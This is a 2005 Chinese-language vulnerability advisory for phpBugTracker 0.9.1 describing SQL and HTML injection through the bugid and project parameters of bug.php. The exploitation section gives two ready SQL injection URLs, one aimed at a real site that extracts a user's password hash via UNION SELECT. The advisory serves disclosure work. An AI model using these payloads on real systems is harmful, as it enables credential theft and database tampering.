添加时间:
2005-08-18

系统编号:
WAVDB-00578

影响版本:
phpBugTracker 0.9.1

程序介绍:

PHP Bug Traq是一款基于PHP的漏洞跟踪系统。

漏洞分析:

PHP Bug Traq的bug.php没有正确过滤用户提交的URL数据，远程攻击者可以利用这个漏洞获得敏感信息或者更改数据库系统。
bug.php没有正确过滤用户提交给bugid的数据，提交包含恶意SQL命令或者恶意HTML代码的数据作为参数数据，可更改原有的数据库逻辑，获得敏感信息或者更改数据库系统。
另外bug.php对project变量数据也缺少充分过滤，存在于上面描述相似漏洞。


漏洞利用:

http://www.phpbb.com/bugs/bug.php?op=viewvotes&bugid=1 union select 1,user_password,3 \ where user_id='2'/*
bug.php?op=add&project=0%20union%20select%201

解决方案:
厂商补丁：
phpBugTracker
-------------
 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://phpbt.sourceforge.net/

信息来源:
<*来源：jessica soules （admin@howdark.com）
    链接：http://marc.theaimsgroup.com/?l=bugtraq&m=110029315521568&w=2
          http://marc.theaimsgroup.com/?l=bugtraq&m=110037408101974&w=2
  *>